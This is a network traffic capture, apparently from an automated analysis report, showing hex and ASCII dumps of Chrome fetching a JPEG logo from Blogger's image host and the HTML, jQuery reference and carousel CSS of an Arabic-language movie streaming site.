2024-10-14 22:39:50 UTC	1378	IN	Data Raw: dd 7b a3 34 91 cc a1 05 a6 9f 88 40 97 b3 65 d9 80 cc 3d 93 36 98 7b c8 4f f8 79 49 26 9e c8 e4 96 c1 27 cd 13 db 00 98 6c 7e 53 0c 44 ba 36 56 62 68 39 29 1c 35 f7 01 68 d9 9a 1f 45 3a 36 4c f3 29 d6 cc 3e 90 83 f3 3e 01 9b a3 51 d5 36 a3 9a 02 45 4a 6e d0 b2 cb a1 21 df b9 13 3f dc 20 0b cc 74 75 54 69 74 4d 23 f6 d1 3d ba 18 69 3c 9f 45 95 c2 a1 59 5b 77 4d dd 75 f6 c5 47 35 10 3f da cc 2d cc 20 6e 2e 30 0d 77 29 5f ca 6f 85 4b a0 14 0e 54 41 b9 64 94 06 5a 6a 53 86 a6 ac 8c 2b e9 37 59 d9 74 74 7a 4b 72 44 3b 9d 71 6f 85 5b a8 1e a2 b3 3a cb 39 be fa 9c 25 16 53 6e 4b 3b 07 f1 84 8c 19 e1 43 6a f5 99 f6 5d ba 7c 9b a1 52 3f ea 2e b2 6b 18 23 f2 a7 49 ed b9 b2 b6 16 56 56 56 e0 29 ba a5 47 42 b9 85 41 1f 39 ba ba ba ba bf 09 52 24 d9 6d 50 ce 5f 7b 23 Data Ascii: {4@e=6{OyI&'l~SD6Vbh9)5hE:6L)>>Q6EJn!? tuTitM#=i<EY[wMuG5?- n.0w)_oKTAdZjS+7YttzKrD;qo[:9%SnK;Cj]\|R?.k#IVVV)GBA9R$mP_{#
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: c5 e5 22 38 3b 46 a1 a5 65 8c 21 7d d9 34 26 f8 ca 13 5c 26 9a b0 95 7f 2b 4f 96 aa 72 fa 89 0c f7 6f 22 11 48 5b 0d 04 87 dc 6b b3 3b 0e f1 3e 44 12 16 8c 30 8a 88 82 1d 07 d8 7d 87 dc 7d 8e c1 94 0f 82 9d 09 bd 14 f1 8a e6 4e f8 26 ce e7 58 f6 61 56 dc 31 45 8d ac ad 06 a9 74 5a 1b fa 2a 1b 57 0a 75 59 84 89 1a b2 d1 14 24 20 40 88 83 a9 89 76 63 d0 f2 26 76 0c 93 a8 1a 84 ca a2 1d 44 a1 05 28 68 64 85 3d 0a 42 15 0b a8 a7 83 6a 37 a1 b2 45 d2 3d a9 2e 74 12 25 16 91 c2 42 82 45 10 60 5d bc c8 02 be ec 8a b0 e4 4a 24 3e 02 44 b9 33 5f 3c e9 21 3b 13 e1 1a 60 4c 25 80 df 08 4a 86 bc 0c 9a f0 27 26 80 f5 14 db 85 0c 9d 32 01 1d c3 a0 3d e0 45 71 fa 17 0c 95 b8 4f 91 fe 26 6e c7 ec 4d b1 3d 8d 80 c5 30 e5 83 2d 89 ad 93 d9 e8 5c 09 10 89 e2 7c 38 05 c2 74 Data Ascii: "8;Fe!}4&\&+Oro"H[k;>D0}}N&XaV1EtZ*WuY$ @vc&vD(hd=Bj7E=.t%BE`]J$>D3_<!;`L%J'&2=EqO&nM=0-\\|8t
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 66 67 9c a6 ba 66 ed 7c 57 8e 62 11 d0 59 36 bc 7d a2 aa 81 a7 1d b0 fb d5 43 4f 59 ad 69 ad cd 89 52 eb a5 e1 08 03 88 c2 f4 68 d6 2d 39 71 02 8f 8c 62 8f 5c e1 f9 3d cc 70 4c 28 3c f6 79 0f 3a fe ed 2a 29 00 ff 00 8c 2a f5 e7 d2 f5 78 cc 0f 63 57 fc 3d fd 72 6f d7 ee f3 07 d0 22 23 32 8f 09 98 0f 4b 2c 22 48 74 aa b2 92 a6 d0 ed 3e 27 cf 0f 78 6c bb 5d c7 c3 17 5f 72 bb bf 77 e2 55 6c ba bb be 65 65 62 08 b5 b4 a7 68 f6 cb 45 30 44 65 1d 23 02 dd 61 02 1b 20 26 65 e1 10 13 63 5f de 99 f1 29 0b 17 e3 f3 0f 36 cb b9 09 53 5f bf f5 79 9a 66 ec 13 04 55 d8 8a 89 17 12 2a 5a 0e 26 52 56 12 56 04 a4 31 d0 45 bd 2b a2 e6 08 ae 62 f9 8b cc 57 31 ef 8f 7c 14 61 0f a4 e8 7d 6c 74 ea 3d 3f ff c4 00 26 10 01 00 02 02 02 02 02 02 03 01 01 01 00 00 00 00 01 00 11 21 Data Ascii: fgf\|WbY6}COYiRh-9qb\=pL(<y:)xcW=ro"#2K,"Ht>'xl]_rwUleebhE0De#a &ec_)6S_yfU*Z&RVV1E+bW1\|a}lt=?&!
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 05 40 5e d1 33 20 55 e0 08 a7 ac 54 6b c6 3a c2 9c ce 42 9d 86 20 b9 45 02 80 a6 94 ef 2e 19 a8 e0 54 5c 15 54 ac 68 eb 0c 0b 90 f1 16 39 bb aa 6f ac ca 1e 96 4c 28 c5 1b 02 85 26 d9 a0 9f 42 ec a2 9b ab a4 6b a8 c2 e3 e6 0d dc ac d4 50 65 32 82 df 52 a5 63 db 28 1b bf 4c 2e cc 4c b4 9e 27 ea 24 e9 85 f8 b9 58 03 b9 c6 8d 98 2e 42 84 a4 cc d7 58 4a 1d a3 06 24 d7 94 a6 68 cc da f6 a8 03 6c 5f b4 5a 1a 6a 37 59 61 c1 95 20 1c e6 23 13 5b 91 55 74 7c e2 f5 2b 4e 02 d8 bd 04 a5 e1 79 82 e8 8a 16 5f de ef 3e 61 cd 74 1c 0e 03 9c 71 14 6f a6 e1 c1 be 3a b9 4f 4c 80 17 17 83 32 d6 02 05 b3 33 c4 c7 28 93 95 41 b3 a0 ef dc b9 fb e4 95 88 26 3d ca 08 80 89 c5 94 63 05 59 64 88 d9 59 6d e0 8d 25 39 48 44 04 53 cd 0c a7 ca 11 d3 e4 79 22 0e d5 30 01 52 95 85 c4 80 Data Ascii: @^3 UTk:B E.T\Th9oL(&BkPe2Rc(L.L'$X.BXJ$hl_Zj7Ya #[Ut\|+Ny_>atqo:OL23(A&=cYdYm%9HDSy"0R
2024-10-14 22:39:50 UTC	113	IN	Data Raw: 1e 11 87 00 c7 a5 97 66 a2 f6 b1 3d 2c 03 b8 fe e2 aa d7 ee 76 9f b9 ca 7e e7 10 7d c2 70 8a 8b 60 10 a7 95 2e f1 1b 8c b0 5f c1 db f0 d2 6a fe 08 77 39 4e ff 00 0f 11 fc 0d 7e 1e 7f 1d 23 28 bd 40 2f 51 21 31 89 45 68 80 75 06 3f 04 1c 11 59 6f 71 37 b6 26 72 ca 1b 7d ca 86 5f 70 b0 cb ee 76 1f 73 b4 fb 95 36 fb 98 0c bf 71 5d b3 ff d9 Data Ascii: f=,v~}p`._jw9N~#(@/Q!1Ehu?Yoq7&r}_pvs6q]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49766	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	637	OUT	GET /img/a/AVvXsEiTV-7Y2I-d67KrsXYeIouYAFpW5ubJhPjx7l6sbDTzEQM9hVfKlnXCW8nD01dufMkXG0RutlWWVJKy0qAkoqseene4q0eVlaID9BCe28OqBA9SN_Yjy-al3Ef6FedD80doXoz7UE1RESRxhFyHfFovuOoNPVN3ABwjXSb87O9QqO1nFtiOju4OIOF8u0o=s1280 HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	472	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "vd43" Expires: Tue, 15 Oct 2024 22:39:50 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="netflix-logo.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:50 GMT Server: fife Content-Length: 5203 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:50 UTC	906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 2c 01 00 00 03 a0 04 00 01 00 00 00 a9 00 00 00 00 00 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFlExifII12i:Google0220,C%# , #&'))-0-(0%()(C((((((((((((((((((((((((((((((((((((((
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 46 51 00 00 00 00 00 00 00 00 00 00 00 00 00 67 c1 9c c5 1d c8 9a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 aa da 1a ad a1 ab 9b 26 73 ff c4 00 28 10 00 00 05 04 01 03 04 03 01 00 00 00 00 00 00 00 00 01 02 03 04 10 11 31 33 05 12 14 50 13 21 32 34 20 22 23 40 ff da 00 08 01 01 00 01 05 02 33 f7 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 b8 41 fb 1e 7c 22 30 79 f0 88 c1 e7 c2 23 07 9f 08 8c 1e 7c 22 30 79 f0 88 c1 e6 9c 78 75 1d 6d 88 1a a6 e8 6f 65 85 85 87 20 21 68 b0 b0 b0 99 f6 19 2f e3 61 61 37 47 1f 99 3a 2a d9 7f 39 fb a0 aa ce 9a 48 c9 69 e8 5c 16 ec 89 0a 26 da aa 30 79 a7 1d 49 68 e8 7b 8f d5 3b 43 7b 03 d2 5c 43 bd Data Ascii: FQg&s(13P!24 "#@3A\|"0y#\|"0yxumoe !h/aa7G:*9Hi\&0yIh{;C{\C
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: af 09 bf c4 05 6c a8 1d 2b 42 d0 57 86 df e2 73 43 b7 45 80 8c 53 18 19 b2 31 1c b2 1f 79 ff c4 00 2b 10 00 02 01 02 04 06 02 02 02 03 00 00 00 00 00 00 00 02 01 10 71 11 12 21 81 20 30 31 41 51 91 22 32 42 61 40 a1 62 70 80 ff da 00 08 01 01 00 06 3f 02 ff 00 83 5c 65 a3 5c dc 5b f0 21 bf 03 09 6a cd c7 1f 81 6c 6c 65 9f c8 c2 60 95 9e c4 bc f7 26 7b f6 e4 3d 27 c4 ea 35 cd c5 bd 19 63 0c 20 eb 1e 88 cd d8 ca b8 60 60 dd 30 26 4e b1 e8 cc dd 44 b1 82 f4 c0 eb 1e 8c ad 86 03 8f 6e 05 b1 b1 13 04 37 91 66 3f 2d 08 88 e9 06 5e d1 c8 7a 43 78 1a e6 e2 de 8f 7e 0d 86 b5 52 c4 58 e9 47 1e dc 0b 63 6a 4a 78 a4 b4 f6 26 67 90 e6 a4 ac f7 1e 3f c8 dc 5b d6 6d 5d 86 b5 52 d5 7b 8e 3d b8 16 c6 d4 59 da 90 9b cf 25 c7 15 bc 8d fb d4 dc 5b d1 96 27 48 3a ff 00 55 d8 Data Ascii: l+BWsCES1y+q! 01AQ"2Ba@bp?\e\[!jlle`&{='5c ``0&NDn7f?-^zCx~RXGcjJx&g?[m]R{=Y%['H:U
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 6b 3f 54 e3 5c 19 4e 3d ca 95 47 c9 89 98 d0 70 9d 79 d4 aa 30 bb 8c 44 46 4b cd e5 49 9c 81 ee ef 49 73 41 63 47 7a 4c 12 ca 23 94 e7 3a 72 e0 e3 5a 19 4f d9 58 43 e4 3c 5a 79 eb 47 5a b3 44 43 e5 a4 38 b8 b2 26 d9 66 62 7c 37 3b aa 34 c7 fe de af da b7 3f 75 ef 1b 34 2c 00 b3 79 d2 d2 a7 8b 37 f3 4e 15 25 cb 7c 2a 55 06 30 b3 4f 3b 30 74 a7 2d 0e 22 b5 8b f9 bf 07 ac 6e d2 50 52 5f 9e 1e 88 df ec ef 41 68 66 e8 c3 cb b7 c3 73 ba 93 9e 47 a8 a8 fd 79 a7 77 21 bc 7a af 78 d9 a9 b6 09 30 31 2d cf 87 b5 b0 e0 6b 29 02 da 94 d6 84 66 f1 cb 45 ac 5f cd f8 3d 63 76 bd a5 62 52 b3 67 de cd 03 93 82 3a 47 fb 3d fe 1b 9d d5 33 36 60 f4 54 f5 8f 6a f6 1b 57 bc 6c d4 2f 04 b9 e6 d2 ba cd 97 ea 0f dd 7b 5b 0e 1f bb 4e 17 f6 20 3c a9 59 13 f3 ab 42 03 43 76 b1 61 80 Data Ascii: k?T\N=Gpy0DFKIIsAcGzL#:rZOXC<ZyGZDC8&fb\|7;4?u4,y7N%\|*U0O;0t-"nPR_AhfsGyw!zx01-k)fE_=cvbRg:G=36`TjWl/{[N <YBCva
2024-10-14 22:39:50 UTC	163	IN	Data Raw: 1f a9 da ef 74 c6 d7 e6 05 fb 8b 20 5e 05 2c 78 b1 03 d0 b8 0c 22 97 05 12 eb cb 42 21 50 0a 81 0c 17 94 bd 34 b5 e6 8e 92 80 6b 4f 78 2c de ff 00 ca 62 4d ee 26 a5 6c fa 62 a9 99 ac a3 58 1a ca 2b 42 99 47 06 41 59 ae 15 fe c1 c2 60 ba b0 1f ec 42 56 2f 20 8b 75 6f 3b 59 55 77 d0 7c af 3f 72 a8 2a d0 b1 d3 a3 1e 35 eb 45 4f a6 f6 95 a7 30 d4 31 c4 54 ff 00 b1 5a bb 9a a4 3e 94 f8 51 69 ac 6d c7 8d 7b d1 71 e3 5e f4 5c 78 d7 bd 17 1e 35 ef 45 c7 8d 7b e8 a8 1d fd e6 bd e8 b8 f1 ff d9 Data Ascii: t ^,x"B!P4kOx,bM&lbX+BGAY`BV/ uo;YUw\|?r*5EO01TZ>Qim{q^\x5E{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49768	188.114.97.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	342	OUT	GET / HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	854	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Robots-Tag: all,noodp Expires: Mon, 14 Oct 2024 22:39:50 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cJHznsAuTCLpWnJq%2BxYi4jWPJ9kcYK4uTfmkcYl2B4Emdkfgr7sIiNhT1HuCTwwGH5Y6Og7L3HbFMUDvlVfYb8QtE5t2OtECXzFx9TE0tci958hn1PpHf%2FdSx6EgN34gxDy6eDI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d2b11530be3430a-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:50 UTC	515	IN	Data Raw: 32 64 32 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 72 74 6c 27 20 64 69 72 3d 27 72 74 6c 27 20 6c 61 6e 67 3d 27 61 72 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 27 20 78 6d 6c 6e 73 3a 62 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 62 27 20 78 6d 6c 6e 73 3a 64 61 74 61 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 64 61 74 61 27 20 78 6d 6c 6e 73 3a 65 78 70 72 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 65 78 70 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 61 Data Ascii: 2d20<!DOCTYPE html><html class='rtl' dir='rtl' lang='ar' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'><head><script a
2024-10-14 22:39:50 UTC	1369	IN	Data Raw: 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 31 2e 30 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 27 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 2f 3e 0a 3c 21 2d 2d 20 43 68 72 6f 6d 65 2c 20 46 69 72 65 66 6f 78 20 4f 53 20 61 6e 64 20 4f 70 65 72 61 20 2d 2d 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 74 68 65 6d 65 2d 63 6f 6c 6f 72 27 2f 3e 0a 3c 21 2d 2d 20 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 20 2d 2d 3e 0a Data Ascii: googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js' type='text/javascript'></script><meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>... Chrome, Firefox OS and Opera --><meta content='' name='theme-color'/>... Windows Phone -->
2024-10-14 22:39:50 UTC	1369	IN	Data Raw: 63 6f 6e 74 65 6e 74 3d 27 d9 85 d8 a7 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 3a 20 d9 85 d8 b4 d8 a7 d9 87 d8 af d8 a9 20 d8 b3 d9 8a d9 85 d8 a7 20 4d 59 43 49 4d 41 20 0a d9 85 d9 88 d9 82 d8 b9 20 d9 85 d8 a7 d9 89 20 d8 b3 d9 8a d9 85 d8 a7 20 4d 59 43 49 4d 41 20 d9 88 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 57 45 43 49 4d 41 20 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 d9 85 d8 a8 d8 a7 d8 b4 d8 b1 d8 a9 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 27 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 68 74 74 70 73 3a 2f 2f 62 6c 6f 67 67 65 72 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 69 6d 67 2f 62 2f 52 32 39 76 5a 32 78 6c 2f 41 56 76 58 73 45 68 61 6e Data Ascii: content=' : MYCIMA MYCIMA WECIMA ' property='og:description'/><meta content='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhan
2024-10-14 22:39:50 UTC	1369	IN	Data Raw: 71 50 56 69 47 70 6a 57 76 66 61 65 6e 66 2d 32 69 50 55 71 6a 4b 53 35 72 5f 77 75 4e 2d 51 7a 78 51 63 66 6c 69 55 67 43 69 59 39 43 74 35 79 41 50 4a 67 36 33 33 47 7a 65 62 70 67 6d 59 79 58 6a 72 69 45 71 62 38 49 45 2d 36 4f 46 5f 52 4c 2f 77 31 32 30 30 2d 68 36 33 30 2d 70 2d 6b 2d 6e 6f 2d 6e 75 2f 49 4d 47 5f 32 30 32 34 30 39 31 33 5f 30 32 33 34 30 37 5f 38 36 34 2e 6a 70 67 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 69 6d 61 67 65 27 2f 3e 0a 3c 74 69 74 6c 65 3e 0a d9 85 d8 a7 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 d9 84 d8 a7 d9 8a d9 81 20 4d 59 43 49 4d 41 0a 3c 2f 74 69 74 6c 65 3e 0a 3c 21 2d 2d 20 4a 53 20 48 65 61 64 20 2d 2d 3e 0a 3c 21 2d 2d 20 4a 53 20 48 65 61 64 20 2d 2d 3e 0a 3c 21 2d 2d 20 46 6f 6e 74 73 20 47 6f 6f 67 6c 65 20 Data Ascii: qPViGpjWvfaenf-2iPUqjKS5r_wuN-QzxQcfliUgCiY9Ct5yAPJg633GzebpgmYyXjriEqb8IE-6OF_RL/w1200-h630-p-k-no-nu/IMG_20240913_023407_864.jpg' property='og:image'/><title> MYCIMA</title>... JS Head -->... JS Head -->... Fonts Google
2024-10-14 22:39:50 UTC	1369	IN	Data Raw: 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 d9 85 d8 a7 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 3a 20 d9 85 d8 b4 d8 a7 d9 87 d8 af d8 a9 20 d8 b3 d9 8a d9 85 d8 a7 20 4d 59 43 49 4d 41 20 0a d9 85 d9 88 d9 82 d8 b9 20 d9 85 d8 a7 d9 89 20 d8 b3 d9 8a d9 85 d8 a7 20 4d 59 43 49 4d 41 20 d9 88 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 57 45 43 49 4d 41 20 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 d9 85 d8 a8 d8 a7 d8 b4 d8 b1 d8 a9 27 20 6e 61 6d 65 3d 27 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 27 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 d9 85 d8 a7 d9 8a 20 d8 b3 d9 8a d9 85 d8 a7 20 d9 84 d8 a7 d9 8a d9 81 20 4d 59 43 49 4d 41 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 27 2f 3e 0a Data Ascii: <meta content=' : MYCIMA MYCIMA WECIMA ' name='og:description'/><meta content=' MYCIMA' property='og:site_name'/>
2024-10-14 22:39:50 UTC	1369	IN	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2f 2a 2a 0a 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 2a 2f 0a 2f 2a 0a 2a 20 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 2d 20 43 6f 72 65 0a 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 7b 0a 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 77 Data Ascii: --------------------------- //** Owl Carousel v2.3.4* Copyright 2013-2018 David Deutsch* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE//* Owl Carousel - Core*/.owl-carousel {display: none;w
2024-10-14 22:39:50 UTC	1369	IN	Data Raw: 0a 77 69 64 74 68 3a 20 31 30 30 25 3b 20 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 2e 64 69 73 61 62 6c 65 64 2c 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 64 6f 74 73 2e 64 69 73 61 62 6c 65 64 20 7b 0a 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 70 72 65 76 2c 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 6e 61 76 20 2e 6f 77 6c 2d 6e 65 78 74 2c 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 64 6f 74 20 7b 0a 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 Data Ascii: width: 100%; }.owl-carousel .owl-nav.disabled,.owl-carousel .owl-dots.disabled {display: none; }.owl-carousel .owl-nav .owl-prev,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-dot {cursor: pointer;-webkit-user-select: none;-khtml-user-selec
2024-10-14 22:39:50 UTC	1369	IN	Data Raw: 66 61 64 65 4f 75 74 3b 20 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 4f 75 74 20 7b 0a 30 25 20 7b 0a 6f 70 61 63 69 74 79 3a 20 31 3b 20 7d 0a 31 30 30 25 20 7b 0a 6f 70 61 63 69 74 79 3a 20 30 3b 20 7d 20 7d 0a 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 2d 20 41 75 74 6f 20 48 65 69 67 68 74 20 50 6c 75 67 69 6e 0a 2a 2f 0a 2e 6f 77 6c 2d 68 65 69 67 68 74 20 7b 0a 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 20 7d 0a 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 2d 20 4c 61 7a 79 20 4c 6f 61 64 20 50 6c 75 67 69 6e 0a 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 20 7b 0a 2f 2a 2a 0a 54 68 69 73 20 69 73 20 69 6e 74 72 6f Data Ascii: fadeOut; }@keyframes fadeOut {0% {opacity: 1; }100% {opacity: 0; } }/** Owl Carousel - Auto Height Plugin/.owl-height {transition: height 500ms ease-in-out; }/* Owl Carousel - Lazy Load Plugin/.owl-carousel .owl-item {/*This is intro
